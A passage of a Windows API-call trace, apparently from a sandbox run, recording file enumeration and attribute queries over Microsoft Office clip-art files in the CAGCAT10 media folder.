	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1
	[0051.869] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0051.870] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), fInfoLevelId=0x0, lpFileInformation=0x124d6238 | out: lpFileInformation=0x124d6238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0051.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.871] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0051.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), fInfoLevelId=0x0, lpFileInformation=0x124d62d8 | out: lpFileInformation=0x124d62d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450)) returned 1
	[0051.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), fInfoLevelId=0x0, lpFileInformation=0x124d6328 | out: lpFileInformation=0x124d6328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0)) returned 1
	[0051.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), fInfoLevelId=0x0, lpFileInformation=0x124d6378 | out: lpFileInformation=0x124d6378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8)) returned 1
	[0051.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), fInfoLevelId=0x0, lpFileInformation=0x124d63c8 | out: lpFileInformation=0x124d63c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a)) returned 1
	[0051.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6418 | out: lpFileInformation=0x124d6418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602)) returned 1
	[0051.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6468 | out: lpFileInformation=0x124d6468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880)) returned 1
	[0051.881] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d64b8 | out: lpFileInformation=0x124d64b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a)) returned 1
	[0051.881] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6508 | out: lpFileInformation=0x124d6508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a)) returned 1
	[0051.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6558 | out: lpFileInformation=0x124d6558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda)) returned 1
	[0051.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d65a8 | out: lpFileInformation=0x124d65a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a)) returned 1
	[0051.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d65f8 | out: lpFileInformation=0x124d65f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa)) returned 1
	[0051.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6648 | out: lpFileInformation=0x124d6648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068)) returned 1
	[0051.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6698 | out: lpFileInformation=0x124d6698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94)) returned 1
	[0051.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d66e8 | out: lpFileInformation=0x124d66e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426)) returned 1
	[0051.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6738 | out: lpFileInformation=0x124d6738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38)) returned 1
	[0051.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6788 | out: lpFileInformation=0x124d6788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018)) returned 1
	[0051.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d67d8 | out: lpFileInformation=0x124d67d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa)) returned 1
	[0051.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6828 | out: lpFileInformation=0x124d6828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c)) returned 1
	[0051.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6878 | out: lpFileInformation=0x124d6878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64)) returned 1
	[0051.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d68c8 | out: lpFileInformation=0x124d68c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a)) returned 1
	[0051.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6918 | out: lpFileInformation=0x124d6918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746)) returned 1
	[0051.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6968 | out: lpFileInformation=0x124d6968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da)) returned 1
	[0051.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d69b8 | out: lpFileInformation=0x124d69b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c)) returned 1
	[0051.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6a08 | out: lpFileInformation=0x124d6a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca)) returned 1
	[0051.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6a58 | out: lpFileInformation=0x124d6a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2)) returned 1
